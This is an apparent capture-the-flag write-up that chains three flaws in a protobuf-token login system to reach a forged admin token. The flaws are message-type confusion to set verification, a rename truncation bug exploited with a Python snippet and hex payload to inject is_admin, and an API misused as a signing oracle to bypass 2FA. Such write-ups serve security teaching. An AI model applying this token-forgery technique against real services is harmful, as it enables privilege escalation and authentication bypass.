Challenge

Auth runs on signed protobuf tokens. The end goal is an admin AccountToken together with an is_local_ip SecureConnectionDetails, all carrying valid signatures.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
message AccountToken {
    string user_id = 1;
    string username = 2;
    bool is_admin = 3;
    bool is_verified = 4;
}

message SecureConnectionDetails {
    bool is_local_ip = 1;
    string id = 2;
}

Approach

Three independent weaknesses chain together.

Get verified. The backend will accept a serialized Registration where a RegistrationInvite is expected, so you can set is_verified yourself.

Become admin. The /rename endpoint truncates the old token at a fixed length. Pad the old username so the cut lands right at the is_admin field, then let the new username complete the buffer. Protobuf takes the last value for a repeated field, so the appended bytes win.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
UUID_SIZE = 2 + 24
MAX = 1024
PAYLOAD = "180120011204616c6578"

account_token = game_pb2.AccountToken()
account_token.user_id = str(uuid.uuid4())
account_token.username = "A" * (MAX - UUID_SIZE - 13)
account_token.is_verified = True
old_token = account_token.SerializeToString()

new_data = game_pb2.AccountToken()
new_data.username = bytes.fromhex(PAYLOAD).decode('utf-8')
serialized_token = old_token[:1024] + new_data.SerializePartialToString()

The -13 needs fuzzing locally until the boundary lines up.

Bypass 2FA. The submit_score API doubles as an oracle, since whatever it returns parses cleanly as a SecureConnectionDetails, which is how the is_local_ip detail gets produced.